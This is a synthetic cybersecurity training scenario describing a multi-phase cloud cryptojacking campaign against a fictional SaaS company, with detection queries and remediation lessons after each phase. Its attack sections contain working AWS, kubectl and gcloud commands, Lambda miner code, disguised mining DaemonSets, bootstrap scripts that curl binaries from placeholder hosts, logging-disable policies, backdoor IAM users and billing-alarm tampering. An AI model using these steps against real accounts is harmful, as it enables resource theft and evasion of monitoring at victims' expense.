SC-102: Cloud Cryptojacking Campaign -- Operation PHANTOM MINER¶
Educational Content Only
This scenario uses 100% synthetic data for educational purposes. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) ranges. All domains use *.example.com. All credentials are testuser/REDACTED. No real organizations, infrastructure, or individuals are represented. Offense content is presented exclusively to improve defensive capabilities.
Scenario Overview¶
| Field | Detail |
|---|---|
| ID | SC-102 |
| Operation Name | PHANTOM MINER |
| Category | Cloud Security / Cryptojacking / Resource Abuse |
| Severity | High |
| ATT&CK Tactics | Initial Access, Execution, Persistence, Defense Evasion, Discovery, Impact |
| ATT&CK Techniques | T1190 (Exploit Public-Facing Application), T1078.004 (Valid Accounts: Cloud), T1610 (Deploy Container), T1496 (Resource Hijacking), T1578.002 (Create Cloud Instance), T1562.001 (Impair Defenses: Disable/Modify Tools), T1580 (Cloud Infrastructure Discovery), T1098.001 (Account Manipulation: Additional Cloud Credentials), T1204.003 (User Execution: Malicious Image) |
| Threat Actor | NEON PICKAXE -- A financially motivated cybercriminal group specializing in large-scale cloud resource hijacking across multiple cloud providers, known for evasion of cost monitoring and abuse of serverless compute |
| Target Environment | Stratos Analytics (stratos-analytics.example.com) -- a SaaS analytics platform running on multi-cloud infrastructure (AWS and GCP) with 180 employees |
| Difficulty | ★★★★☆ |
| Duration | 4-6 hours |
| Estimated Impact | $2.3M in unauthorized cloud compute charges over 6 weeks; 1,400+ cryptomining instances across 3 AWS regions and 2 GCP regions; serverless function abuse generating 12M invocations/day; legitimate service degradation affecting 2,800 customers; spot instance manipulation distorting regional pricing |
Narrative¶
Stratos Analytics is a mid-stage SaaS startup at stratos-analytics.example.com providing real-time business intelligence dashboards to 2,800 enterprise customers. The company runs a multi-cloud architecture: AWS for primary compute (EKS clusters, Lambda functions, RDS databases) and GCP for machine learning workloads (GKE, Vertex AI, BigQuery). Monthly cloud spend averages $340,000 across both providers, with significant variability driven by customer batch processing jobs.
Stratos operates with a lean DevOps team of 8 engineers managing infrastructure-as-code via Terraform. Cost optimization is a constant focus -- the team uses spot instances for batch processing, autoscaling groups for web tiers, and serverless functions for event processing. Billing alerts are configured at 120% of the monthly average, and a FinOps dashboard provides weekly cost reports.
In March 2026, NEON PICKAXE discovers exposed credentials in a public GitHub repository belonging to a Stratos developer. The attacker uses these credentials to launch a sophisticated, multi-stage cryptojacking campaign designed to evade detection by distributing mining workloads across serverless functions, spot instances, and hijacked container orchestration.
Environment¶
| Component | Detail |
|---|---|
| Organization | Stratos Analytics (SaaS startup) |
| Domain | stratos-analytics.example.com |
| Employees | 180 (8-person DevOps team) |
| AWS Account | 444455556666 (production), 777788889999 (staging) |
| GCP Project | stratos-prod-2024, stratos-ml-2024 |
| AWS Regions | us-east-1 (primary), us-west-2 (DR), eu-west-1 (EU customers) |
| GCP Regions | us-central1 (ML workloads), europe-west1 (EU compliance) |
| EKS Clusters | stratos-prod-eks (us-east-1), stratos-eu-eks (eu-west-1) |
| Lambda Functions | 47 functions for event processing, ETL, alerting |
| Monthly Cloud Spend | ~$340,000 (AWS: $220K, GCP: $120K) |
| Billing Alerts | Configured at 120% of monthly average ($408K) |
| Security Stack | AWS GuardDuty, GCP Security Command Center, Datadog APM |
Attack Timeline¶
Phase 1: Credential Discovery and Initial Access (Day 1)¶
ATT&CK Techniques: T1078.004 (Valid Accounts: Cloud), T1552.004 (Unsecured Credentials: Private Keys)
NEON PICKAXE discovers AWS access keys committed to a public GitHub repository by a Stratos developer during a late-night debugging session. The developer committed the keys in a configuration file, then removed them in a subsequent commit -- but the keys remain in git history.
# Simulated credential discovery (educational only)
# Attacker finds AWS keys in public GitHub repository
# Step 1: Automated GitHub scanning discovers exposed credentials
# NEON PICKAXE runs continuous scans of public GitHub commits
# Tool: Custom scanner monitoring GitHub Events API
# Discovery:
# Repository: stratos-analytics/data-pipeline (public, since renamed)
# Commit: a]7f3c2d (2026-03-08 03:47 UTC)
# File: config/aws_config.yaml
# Content (redacted, educational only):
# aws_access_key_id: AKIA_REDACTED_EXAMPLE
# aws_secret_access_key: REDACTED
# region: us-east-1
# Developer removed keys in next commit b8e4d1f (2026-03-08 03:52 UTC)
# But keys remain accessible in git history
# Step 2: Validate and enumerate credentials
$ aws sts get-caller-identity
{
"UserId": "AIDA_REDACTED_EXAMPLE",
"Account": "444455556666",
"Arn": "arn:aws:iam::444455556666:user/testuser-deploy-pipeline"
}
# Step 3: Enumerate permissions
$ aws iam list-attached-user-policies \
--user-name testuser-deploy-pipeline
# AdministratorAccess -- OVERPRIVILEGED deployment user
# Should have been scoped to specific services
# Step 4: Enumerate the environment
$ aws ec2 describe-regions --query "Regions[].RegionName" --output text
$ aws eks list-clusters --region us-east-1
# Cluster: stratos-prod-eks
$ aws lambda list-functions --region us-east-1 | jq '.Functions | length'
# 47 functions
# Step 5: Check existing billing alerts
$ aws cloudwatch describe-alarms --alarm-name-prefix "billing"
# Alarm: monthly-spend-alert
# Threshold: $408,000 (120% of $340K average)
# Action: SNS notification to testuser-finops@stratos-analytics.example.com
Detection Opportunity -- Credential Abuse:
// KQL -- Detect AWS API calls from unexpected source IPs
AWSCloudTrail
| where TimeGenerated > ago(24h)
| where UserIdentity_UserName == "testuser-deploy-pipeline"
| where SourceIpAddress !startswith "10."
and SourceIpAddress !startswith "192.168."
| summarize CallCount = count(), UniqueAPIs = dcount(EventName),
APIs = make_set(EventName, 20)
by SourceIpAddress, bin(TimeGenerated, 1h)
| where CallCount > 10
| project TimeGenerated, SourceIpAddress, CallCount, UniqueAPIs, APIs
# SPL -- Detect API calls from leaked credentials
index=aws sourcetype=aws:cloudtrail earliest=-24h
| search userIdentity.userName="testuser-deploy-pipeline"
AND NOT (sourceIPAddress="10.*" OR sourceIPAddress="192.168.*")
| stats count as call_count, dc(eventName) as unique_apis,
values(eventName) as apis by sourceIPAddress, _time span=1h
| where call_count > 10
| table _time, sourceIPAddress, call_count, unique_apis, apis
Phase 2: Serverless Cryptojacking -- Lambda Function Abuse (Days 1-3)¶
ATT&CK Techniques: T1610 (Deploy Container), T1496 (Resource Hijacking), T1562.001 (Impair Defenses: Disable or Modify Tools)
NEON PICKAXE begins by deploying cryptomining workloads as AWS Lambda functions. Lambda's per-invocation billing model and ephemeral execution make it harder to detect than persistent EC2 instances. The attacker creates multiple functions with innocuous names designed to blend with Stratos's existing serverless architecture.
# Simulated serverless cryptojacking (educational only)
# Attacker deploys mining via Lambda functions
# Step 1: Create mining Lambda functions with legitimate-looking names
# NEON PICKAXE deploys 15 Lambda functions across 3 regions
# Function naming convention (designed to blend):
# us-east-1: stratos-etl-worker-v2, stratos-data-transform-batch,
# stratos-analytics-aggregator, stratos-event-processor-v3,
# stratos-metrics-collector
# us-west-2: stratos-dr-sync-worker, stratos-backup-validator,
# stratos-replication-agent, stratos-health-checker-v2,
# stratos-log-processor
# eu-west-1: stratos-eu-compliance-scan, stratos-gdpr-processor,
# stratos-eu-data-transform, stratos-eu-analytics-sync,
# stratos-eu-event-handler
# Lambda function configuration (each):
# Runtime: python3.11
# Memory: 10240 MB (maximum)
# Timeout: 900 seconds (maximum - 15 minutes)
# Reserved concurrency: 100
# Architecture: x86_64
# Mining payload (embedded in Lambda layer):
# Layer: stratos-common-utils-v4 (legitimate-looking name)
# Layer contains: XMRig compiled as shared library
# Mining pool: pool.miningpool.example.com:443
# Wallet: REDACTED (educational only)
# Protocol: TLS-encrypted stratum over port 443 (looks like HTTPS)
# Lambda function code (synthetic, educational only):
import json
import subprocess
import os
import time
def lambda_handler(event, context):
# Start miner from Lambda layer
miner_path = "/opt/python/lib/libcrypto_utils.so"
config = {
"pool": "pool.miningpool.example.com:443",
"wallet": "REDACTED",
"threads": os.cpu_count(),
"tls": True
}
# Execute for ~14 minutes (under 15-min Lambda limit)
proc = subprocess.Popen([miner_path, json.dumps(config)])
time.sleep(840) # 14 minutes
proc.terminate()
return {"statusCode": 200, "body": "Processing complete"}
# Step 2: Create self-invoking trigger
# Each function triggers the next in a chain via SQS:
# stratos-mining-queue-01.fifo (SQS FIFO queue)
# Message delay: 1 second
# Result: Each function invokes itself continuously
# 15 functions x 100 concurrency = 1,500 simultaneous executions
# Each 15-minute cycle = ~22,500 invocations/hour
# Daily: ~540,000 invocations across 15 functions
# Step 3: Disable Lambda function logging to CloudWatch
# Attacker modifies the Lambda execution role to deny CloudWatch Logs
aws iam put-role-policy \
--role-name stratos-lambda-exec-role \
--policy-name no-logs \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Deny",
"Action": ["logs:CreateLogGroup", "logs:CreateLogStream",
"logs:PutLogEvents"],
"Resource": "*"
}]
}'
# Result: Mining functions produce no CloudWatch Logs
# But CloudTrail still records Lambda invocations
# Step 4: Estimated Lambda mining revenue
# 10240 MB x 900s x 1500 concurrent = significant compute
# Approximate hash rate: ~150 H/s per invocation (XMR)
# 1500 concurrent: ~225,000 H/s total
# Cost to Stratos: ~$8,500/day in Lambda charges
# Revenue to attacker: ~$180/day in XMR
# Attacker ROI: Uses stolen resources, pure profit
Detection Opportunity -- Lambda Abuse:
// KQL -- Detect anomalous Lambda function creation and invocation
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName in ("CreateFunction20150331", "Invoke",
"UpdateFunctionConfiguration20150331v2")
| where UserIdentity_UserName == "testuser-deploy-pipeline"
| summarize FunctionCreated = countif(EventName == "CreateFunction20150331"),
Invocations = countif(EventName == "Invoke"),
ConfigChanges = countif(EventName has "Update")
by bin(TimeGenerated, 1h), AWSRegion
| where FunctionCreated > 2 OR Invocations > 1000
| project TimeGenerated, AWSRegion, FunctionCreated,
Invocations, ConfigChanges
// KQL -- Detect Lambda functions with maximum resource allocation
AWSCloudTrail
| where TimeGenerated > ago(7d)
| where EventName == "CreateFunction20150331"
| extend MemorySize = toint(parse_json(RequestParameters).memorySize)
| extend Timeout = toint(parse_json(RequestParameters).timeout)
| where MemorySize >= 10240 and Timeout >= 900
| project TimeGenerated, UserIdentity_UserName,
parse_json(RequestParameters).functionName,
MemorySize, Timeout, SourceIpAddress
# SPL -- Detect Lambda function abuse patterns
index=aws sourcetype=aws:cloudtrail earliest=-7d
| search eventName IN ("CreateFunction20150331", "Invoke",
"UpdateFunctionConfiguration20150331v2")
AND userIdentity.userName="testuser-deploy-pipeline"
| bucket _time span=1h
| stats count(eval(eventName="CreateFunction20150331")) as created,
count(eval(eventName="Invoke")) as invocations,
count(eval(eventName LIKE "Update%")) as config_changes
by _time, awsRegion
| where created > 2 OR invocations > 1000
| table _time, awsRegion, created, invocations, config_changes
# SPL -- Detect Lambda with max memory and timeout
index=aws sourcetype=aws:cloudtrail earliest=-7d
| search eventName="CreateFunction20150331"
| spath output=memory_size path=requestParameters.memorySize
| spath output=timeout path=requestParameters.timeout
| where memory_size >= 10240 AND timeout >= 900
| table _time, userIdentity.userName, requestParameters.functionName,
memory_size, timeout, sourceIPAddress
Phase 3: Container Cryptojacking -- EKS Cluster Hijacking (Days 3-10)¶
ATT&CK Techniques: T1610 (Deploy Container), T1204.003 (User Execution: Malicious Image), T1496 (Resource Hijacking)
NEON PICKAXE escalates to Kubernetes-based mining by deploying cryptomining containers in Stratos's EKS clusters. The attacker uses the compromised IAM credentials to generate kubeconfig, then deploys mining pods using resource requests designed to consume unused cluster capacity without triggering pod evictions of legitimate workloads.
# Simulated EKS cryptojacking (educational only)
# Attacker deploys mining pods in Kubernetes clusters
# Step 1: Generate kubeconfig for EKS clusters
aws eks update-kubeconfig --name stratos-prod-eks --region us-east-1
# Step 2: Enumerate cluster resources
$ kubectl get nodes -o wide
NAME STATUS ROLES AGE VERSION
ip-10-10-1-101.ec2.internal Ready <none> 45d v1.28
ip-10-10-1-102.ec2.internal Ready <none> 45d v1.28
# ... 24 nodes total (m5.2xlarge - 8 vCPU, 32 GB each)
# Total cluster capacity: 192 vCPU, 768 GB RAM
# Current utilization: ~55% CPU, ~40% RAM
# Step 3: Deploy mining workload as legitimate-looking DaemonSet
# File: monitoring-agent-ds.yaml (synthetic)
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: stratos-node-monitor
namespace: kube-system
labels:
app: node-monitor
component: observability
version: v2.4.1
spec:
selector:
matchLabels:
app: node-monitor
template:
metadata:
labels:
app: node-monitor
component: observability
spec:
tolerations:
- operator: Exists
containers:
- name: monitor-agent
image: 203.0.113.50:5000/stratos/node-monitor:v2.4.1
# Image is a disguised XMRig container
resources:
requests:
cpu: "1500m" # 1.5 cores per node
memory: "2Gi"
limits:
cpu: "2000m" # 2 cores max (25% of node)
memory: "4Gi"
env:
- name: MONITOR_ENDPOINT
value: "pool.miningpool.example.com:443"
- name: MONITOR_TOKEN
value: "REDACTED"
- name: MONITOR_THREADS
value: "4"
ports:
- containerPort: 9090
name: metrics
protocol: TCP
hostNetwork: false
serviceAccountName: default
# Step 4: Deploy in kube-system namespace (harder to notice)
$ kubectl apply -f monitoring-agent-ds.yaml
daemonset.apps/stratos-node-monitor created
# 24 pods deployed (one per node)
# Total mining: 24 nodes x 2 vCPU = 48 vCPU mining capacity
# Step 5: Deploy additional mining as batch jobs
# Attacker creates CronJobs that look like data processing:
apiVersion: batch/v1
kind: CronJob
metadata:
name: stratos-data-compaction
namespace: data-pipeline
spec:
schedule: "*/5 * * * *" # Every 5 minutes
concurrencyPolicy: Allow
jobTemplate:
spec:
template:
spec:
containers:
- name: compactor
image: 203.0.113.50:5000/stratos/data-compactor:v1.8
resources:
requests:
cpu: "4000m"
memory: "8Gi"
restartPolicy: OnFailure
# Step 6: Impact on cluster
# Legitimate workload utilization: 55% -> mining adds 25%
# Total cluster utilization: ~80% CPU
# Autoscaler triggers: adds 8 new nodes (cost: $2,400/day)
# Customer-facing latency increases by 15-20%
# But stays within SLA thresholds (barely)
Detection Opportunity -- Container Abuse:
// KQL -- Detect unknown container images deployed to EKS
ContainerLog
| where TimeGenerated > ago(7d)
| where ContainerName == "monitor-agent" or ContainerName == "compactor"
| extend ImageRegistry = split(Image, "/")[0]
| where ImageRegistry !in ("public.ecr.aws", "docker.io",
"ghcr.io", "registry.k8s.io")
| summarize PodCount = dcount(PodName), Nodes = dcount(Computer)
by ContainerName, Image, ImageRegistry
| project ContainerName, Image, ImageRegistry, PodCount, Nodes
// KQL -- Detect DaemonSet creation in kube-system namespace
AzureDiagnostics
| where TimeGenerated > ago(7d)
| where Category == "kube-audit"
| where log_s has "DaemonSet" and log_s has "create"
| where log_s has "kube-system"
| extend User = extract('"username":"([^"]+)"', 1, log_s)
| project TimeGenerated, User, log_s
# SPL -- Detect suspicious container images in Kubernetes
index=kubernetes sourcetype=kube:container earliest=-7d
| search (image="*203.0.113*" OR image="*:5000/*")
| stats dc(pod_name) as pod_count, dc(node_name) as node_count,
values(pod_name) as pods by image, namespace
| table image, namespace, pod_count, node_count, pods
# SPL -- Detect DaemonSet or CronJob creation in sensitive namespaces
index=kubernetes sourcetype=kube:audit earliest=-7d
| search verb="create" AND (objectRef.resource="daemonsets"
OR objectRef.resource="cronjobs")
| search objectRef.namespace IN ("kube-system", "data-pipeline")
| table _time, user.username, objectRef.resource, objectRef.name,
objectRef.namespace, sourceIPs{}
Phase 4: Spot Instance Abuse and Resource Quota Manipulation (Days 10-20)¶
ATT&CK Techniques: T1578.002 (Create Cloud Instance), T1496 (Resource Hijacking), T1098.001 (Account Manipulation: Additional Cloud Credentials)
NEON PICKAXE escalates by launching large fleets of spot instances in regions Stratos does not normally use. The attacker also requests service quota increases to unlock higher instance limits, and creates additional IAM users for persistence.
# Simulated spot instance abuse (educational only)
# Attacker launches mining fleets using spot instances
# Step 1: Request service quota increases
# Attacker requests higher EC2 limits in unused regions
aws service-quotas request-service-quota-increase \
--service-code ec2 \
--quota-code L-1216C47A \
--desired-value 5000 \
--region ap-southeast-1
# Request for 5000 vCPU on-demand in Singapore
# AWS auto-approves modest increases (from 1920 to 5000)
# Similar requests in:
# ap-northeast-1 (Tokyo): 5000 vCPU
# sa-east-1 (Sao Paulo): 3200 vCPU
# These regions have no Stratos infrastructure -> harder to notice
# Step 2: Launch spot instance fleets
aws ec2 request-spot-fleet \
--spot-fleet-request-config '{
"IamFleetRole": "arn:aws:iam::444455556666:role/spot-fleet-role",
"TargetCapacity": 200,
"SpotPrice": "0.15",
"LaunchSpecifications": [{
"ImageId": "ami-REDACTED",
"InstanceType": "c5.4xlarge",
"KeyName": "mining-key-01",
"SecurityGroups": [{"GroupId": "sg-REDACTED"}],
"UserData": "BASE64_ENCODED_MINING_BOOTSTRAP"
}],
"Type": "maintain",
"TerminateInstancesWithExpiration": true
}' \
--region ap-southeast-1
# UserData bootstrap script (synthetic, educational only):
#!/bin/bash
apt-get update -qq && apt-get install -y -qq libhwloc-dev
curl -sL https://cdn-packages.example.com/utils/perf-monitor \
-o /usr/local/bin/system-monitor
chmod +x /usr/local/bin/system-monitor
cat > /etc/systemd/system/system-monitor.service << 'UNIT'
[Unit]
Description=System Performance Monitor
After=network.target
[Service]
ExecStart=/usr/local/bin/system-monitor \
--endpoint pool.miningpool.example.com:443 \
--token REDACTED --threads $(nproc)
Restart=always
RestartSec=10
[Install]
WantedBy=multi-user.target
UNIT
systemctl enable --now system-monitor
# Step 3: Fleet deployment summary across regions
# ap-southeast-1 (Singapore):
# 200 x c5.4xlarge (16 vCPU each) = 3,200 vCPU
# Spot price: ~$0.08/hr per instance = $384/hr
# ap-northeast-1 (Tokyo):
# 150 x c5.4xlarge = 2,400 vCPU
# Spot price: ~$0.09/hr = $324/hr
# sa-east-1 (Sao Paulo):
# 100 x c5.2xlarge (8 vCPU each) = 800 vCPU
# Spot price: ~$0.06/hr = $144/hr
# Total spot fleet: 450 instances, 6,400 vCPU
# Cost: ~$852/hr = ~$20,448/day
# Step 4: Create persistence IAM users
aws iam create-user --user-name svc-cloudwatch-metrics
aws iam create-access-key --user-name svc-cloudwatch-metrics
aws iam attach-user-policy \
--user-name svc-cloudwatch-metrics \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-user --user-name svc-config-aggregator
aws iam create-access-key --user-name svc-config-aggregator
aws iam attach-user-policy \
--user-name svc-config-aggregator \
--policy-arn arn:aws:iam::aws:policy/PowerUserAccess
# Step 5: Modify billing alerts to delay detection
aws cloudwatch put-metric-alarm \
--alarm-name monthly-spend-alert \
--metric-name EstimatedCharges \
--namespace AWS/Billing \
--threshold 800000 \
--comparison-operator GreaterThanThreshold \
--evaluation-periods 3 \
--period 86400 \
--statistic Maximum \
--actions-enabled \
--alarm-actions "arn:aws:sns:us-east-1:444455556666:billing-alerts"
# Raised threshold from $408K to $800K (delayed alert by ~2 weeks)
Detection Opportunity -- Spot Instance and Quota Abuse:
// KQL -- Detect EC2 instances in unusual regions
AWSCloudTrail
| where TimeGenerated > ago(14d)
| where EventName == "RunInstances" or EventName == "RequestSpotFleet"
| where AWSRegion !in ("us-east-1", "us-west-2", "eu-west-1")
| summarize InstanceCount = count(),
Regions = make_set(AWSRegion),
Users = make_set(UserIdentity_UserName)
by bin(TimeGenerated, 1d)
| where InstanceCount > 5
| project TimeGenerated, InstanceCount, Regions, Users
// KQL -- Detect billing alarm modifications
AWSCloudTrail
| where TimeGenerated > ago(30d)
| where EventName == "PutMetricAlarm"
| where RequestParameters has "EstimatedCharges"
| project TimeGenerated, UserIdentity_UserName, SourceIpAddress,
RequestParameters
# SPL -- Detect instance launches in unexpected regions
index=aws sourcetype=aws:cloudtrail earliest=-14d
| search (eventName="RunInstances" OR eventName="RequestSpotFleet")
AND NOT (awsRegion IN ("us-east-1", "us-west-2", "eu-west-1"))
| bucket _time span=1d
| stats count as instance_count, values(awsRegion) as regions,
values(userIdentity.userName) as users by _time
| where instance_count > 5
| table _time, instance_count, regions, users
# SPL -- Detect service quota increase requests
index=aws sourcetype=aws:cloudtrail earliest=-30d
| search eventName="RequestServiceQuotaIncrease"
| table _time, userIdentity.userName, awsRegion,
requestParameters.serviceCode, requestParameters.desiredValue,
sourceIPAddress
Phase 5: GCP Cross-Cloud Expansion (Days 20-35)¶
ATT&CK Techniques: T1078.004 (Valid Accounts: Cloud), T1580 (Cloud Infrastructure Discovery), T1610 (Deploy Container)
NEON PICKAXE discovers GCP service account keys stored in the EKS cluster secrets and pivots to Stratos's GCP environment, deploying mining workloads via GKE and Compute Engine preemptible instances.
# Simulated GCP cross-cloud pivot (educational only)
# Attacker discovers GCP credentials in Kubernetes secrets
# Step 1: Extract GCP service account from K8s secrets
$ kubectl get secrets -n ml-pipeline -o json | \
jq '.items[] | select(.metadata.name | contains("gcp"))'
# Secret: gcp-sa-ml-pipeline
# Contains: service-account-key.json for
# ml-pipeline@stratos-ml-2024.iam.gserviceaccount.com
# Permissions: Editor role on stratos-ml-2024 project
# Step 2: Activate GCP credentials
$ gcloud auth activate-service-account \
--key-file=/tmp/service-account-key.json \
--project=stratos-ml-2024
# Step 3: Deploy mining via GKE
$ gcloud container clusters get-credentials stratos-ml-gke \
--region us-central1 --project stratos-ml-2024
# Deploy mining DaemonSet (same pattern as EKS):
$ kubectl apply -f gcp-monitoring-agent.yaml
# 16 GKE nodes x 2 vCPU mining = 32 vCPU
# Step 4: Launch preemptible instance fleet
# GCP preemptible instances: 80% cheaper, max 24-hour lifetime
# Perfect for cryptojacking: cheap, ephemeral, auto-replaced
gcloud compute instances bulk create \
--name-pattern="stratos-batch-worker-####" \
--count=100 \
--machine-type=c2-standard-16 \
--zone=us-central1-a \
--preemptible \
--metadata=startup-script='#!/bin/bash
curl -sL https://cdn-packages.example.com/utils/gcp-monitor \
-o /usr/local/bin/gcp-monitor
chmod +x /usr/local/bin/gcp-monitor
/usr/local/bin/gcp-monitor \
--endpoint pool.miningpool.example.com:443 \
--token REDACTED --threads $(nproc)'
# GCP fleet: 100 x c2-standard-16 = 1,600 vCPU
# Preemptible cost: ~$0.12/hr per instance = $288/hr
# Auto-replacement script re-launches terminated instances
# Step 5: Total mining operation summary
# AWS Lambda: 1,500 concurrent (equivalent ~375 vCPU)
# AWS EKS: 48 vCPU (DaemonSet) + batch jobs
# AWS Spot: 6,400 vCPU (3 regions)
# GCP GKE: 32 vCPU
# GCP Preemptible: 1,600 vCPU
# TOTAL: ~8,455 vCPU dedicated to mining
# Combined daily cost to victim: ~$28,000/day
# Combined daily mining revenue: ~$600/day
Detection Opportunity -- GCP Anomalies:
// KQL -- Detect GCP bulk instance creation
GCPAuditLog
| where TimeGenerated > ago(14d)
| where MethodName has "compute.instances.bulkInsert"
or MethodName has "compute.instances.insert"
| summarize InstancesCreated = count(),
Zones = make_set(ResourceLocation),
Callers = make_set(CallerIp)
by bin(TimeGenerated, 1h), PrincipalEmail
| where InstancesCreated > 10
| project TimeGenerated, PrincipalEmail, InstancesCreated,
Zones, Callers
# SPL -- Detect GCP preemptible instance fleet creation
index=gcp sourcetype=gcp:audit earliest=-14d
| search methodName="*instances.insert*" OR methodName="*bulkInsert*"
| spath output=preemptible path=request.scheduling.preemptible
| where preemptible="true"
| bucket _time span=1h
| stats count as instances_created, values(resource.labels.zone) as zones,
values(callerIp) as callers by _time, principalEmail
| where instances_created > 10
| table _time, principalEmail, instances_created, zones, callers
Phase 6: Discovery and Remediation (Day 42)¶
ATT&CK Technique: T1496 (Resource Hijacking) -- Detection
Discovery occurs when the FinOps team notices the monthly AWS bill has reached $890,000 (262% of baseline) despite the billing alert threshold having been raised by the attacker. A junior engineer investigating cost anomalies discovers instances in regions Stratos has never used.
# Simulated discovery and response (educational only)
# Step 1: Discovery trigger
# Week 6: Monthly AWS bill notification arrives showing $890,000
# (despite alarm being raised to $800K, it still triggers at $890K)
# FinOps engineer (testuser-finops@stratos-analytics.example.com)
# opens AWS Cost Explorer and sees:
# Cost by Region (last 30 days):
# us-east-1: $142,000 (normal: $130K)
# us-west-2: $38,000 (normal: $35K)
# eu-west-1: $52,000 (normal: $45K)
# ap-southeast-1: $312,000 (normal: $0) *** ANOMALY ***
# ap-northeast-1: $218,000 (normal: $0) *** ANOMALY ***
# sa-east-1: $128,000 (normal: $0) *** ANOMALY ***
# Cost by Service:
# EC2 Spot: $548,000 (normal: $15K) *** ANOMALY ***
# Lambda: $87,000 (normal: $12K) *** ANOMALY ***
# EC2 On-Demand: $142,000 (normal: $130K)
# GCP Cost (separate investigation):
# Compute Engine: $210,000 (normal: $85K) *** ANOMALY ***
# GKE: $45,000 (normal: $35K)
# Step 2: Incident response
[2026-04-19 09:00 UTC] FinOps escalates to Security team
[2026-04-19 09:30 UTC] Security identifies compromised IAM user
[2026-04-19 10:00 UTC] Incident declared: CRITICAL
# Immediate containment actions:
[2026-04-19 10:15 UTC] Disable testuser-deploy-pipeline IAM user
[2026-04-19 10:15 UTC] Disable svc-cloudwatch-metrics IAM user
[2026-04-19 10:15 UTC] Disable svc-config-aggregator IAM user
[2026-04-19 10:30 UTC] Terminate all spot fleets in AP/SA regions
[2026-04-19 10:30 UTC] Delete all rogue Lambda functions
[2026-04-19 10:45 UTC] Remove mining DaemonSet from EKS clusters
[2026-04-19 11:00 UTC] Revoke GCP service account keys
[2026-04-19 11:00 UTC] Terminate GCP preemptible instance fleet
[2026-04-19 11:30 UTC] Delete mining DaemonSet from GKE
# Step 3: Full scope assessment
# Duration: 42 days (March 8 -- April 19)
# Total unauthorized AWS charges: $1,890,000
# Total unauthorized GCP charges: $410,000
# Combined: $2,300,000 in unauthorized compute
# Mining revenue to attacker: ~$25,000 (estimated)
# Customer impact: 15-20% latency increase (within SLA)
# Data breach: None (attacker focused on compute, not data)
# Step 4: Root cause and remediation
# Root cause: AWS access keys committed to public GitHub repo
# Remediation:
# 1. Rotate ALL IAM credentials (users and roles)
# 2. Enable AWS Organizations SCP to restrict regions
# 3. Implement GitHub secret scanning with pre-commit hooks
# 4. Deploy AWS Cost Anomaly Detection (ML-based)
# 5. Implement GuardDuty findings for crypto mining
# 6. Remove static IAM keys -- migrate to OIDC federation
# 7. Kubernetes: Enable OPA Gatekeeper for image allowlisting
# 8. Implement billing alerts with immutable thresholds
# 9. Cross-cloud credential management policy
# 10. File abuse report with AWS for potential credit
Impact Assessment¶
| Category | Impact |
|---|---|
| Financial Loss | $2.3M in unauthorized cloud compute charges |
| Duration | 42 days (6 weeks) |
| AWS Regions Affected | 6 (3 legitimate + 3 attacker-controlled) |
| GCP Projects Affected | 2 |
| Total Mining vCPU | ~8,455 vCPU at peak |
| Mining Revenue to Attacker | ~$25,000 (1.1% of victim cost) |
| Customer Impact | 15-20% latency increase for 2,800 customers |
| Data Breach | None (compute-focused attack) |
| Billing Alert Bypass | Attacker modified alert threshold from $408K to $800K |
| IAM Users Created | 2 backdoor users with admin/power user access |
| Recovery Time | 4 hours for containment, 2 weeks for full remediation |
Detection & Response¶
How Blue Team Should Have Caught This¶
Detection Strategy 1: GitHub Secret Scanning
The root cause was exposed credentials in a public repository. GitHub secret scanning (including push protection) would have detected and blocked the commit containing AWS access keys. Pre-commit hooks with tools like detect-secrets or gitleaks provide an additional layer of protection.
Detection Strategy 2: AWS GuardDuty CryptoCurrency Findings
AWS GuardDuty specifically detects cryptocurrency mining activity through the CryptoCurrency:EC2/BitcoinTool.B!DNS and CryptoCurrency:Runtime/BitcoinTool.B finding types. GuardDuty was enabled in Stratos's primary regions but not in the attacker's chosen regions (ap-southeast-1, ap-northeast-1, sa-east-1). GuardDuty should be enabled in ALL regions via AWS Organizations.
Detection Strategy 3: AWS Cost Anomaly Detection
AWS Cost Anomaly Detection uses ML to identify unusual spending patterns and would have flagged the sudden appearance of costs in new regions within 24-48 hours. This service requires no threshold configuration and adapts to spending patterns automatically.
Detection Strategy 4: Service Control Policies (Region Restriction)
AWS Organizations Service Control Policies (SCPs) can restrict API calls to approved regions only. An SCP denying all actions in unused regions would have completely prevented the spot instance fleet deployment.
Detection Strategy 5: Kubernetes Admission Control
OPA Gatekeeper or Kyverno policies can restrict container images to approved registries only. The attacker's images from 203.0.113.50:5000 would have been rejected at admission. DaemonSet creation in kube-system should require elevated approval.
Lessons Learned¶
Key Takeaways
-
Credential exposure in version control is the leading cause of cloud compromise -- A single committed access key led to $2.3M in unauthorized charges. Organizations must implement pre-commit hooks, automated secret scanning, and prefer short-lived credentials (OIDC federation, IAM roles) over static access keys.
-
Billing alerts are not a security control -- Attackers can modify billing alert thresholds as part of their campaign. Use AWS Cost Anomaly Detection (ML-based, no thresholds to manipulate) and treat billing alarm modifications as a high-severity security event.
-
Multi-cloud environments multiply the attack surface -- Credentials stored across cloud providers (GCP keys in AWS EKS secrets) enable cross-cloud pivoting. Implement centralized secrets management (e.g., HashiCorp Vault) and never store cloud credentials as Kubernetes secrets.
-
Serverless and spot instances create detection blind spots -- Lambda's ephemeral execution and spot instances' transient nature make traditional endpoint-based detection ineffective. Cloud-native detection (GuardDuty, CloudTrail analysis, cost monitoring) must cover all regions and all compute models.
-
Region-based controls are essential -- Restricting API access to approved regions via SCPs would have blocked 70% of the mining operation's compute. Treat instance launches in unused regions as critical security alerts.
-
Kubernetes namespaces are not security boundaries -- The attacker deployed in kube-system and data-pipeline namespaces. Admission controllers (OPA Gatekeeper, Kyverno) with image allowlisting and namespace-specific policies are essential for container security.
-
The economics of cryptojacking heavily favor the attacker -- The attacker earned ~$25,000 while costing the victim $2.3M. This 92:1 cost ratio makes cloud cryptojacking highly attractive to criminals. Prevention must focus on eliminating access rather than making mining unprofitable.
MITRE ATT&CK Mapping¶
| Technique ID | Technique Name | Phase |
|---|---|---|
| T1552.004 | Unsecured Credentials: Private Keys | Reconnaissance (GitHub scanning) |
| T1078.004 | Valid Accounts: Cloud Accounts | Initial Access (leaked AWS keys) |
| T1190 | Exploit Public-Facing Application | Initial Access (exposed Jenkins) |
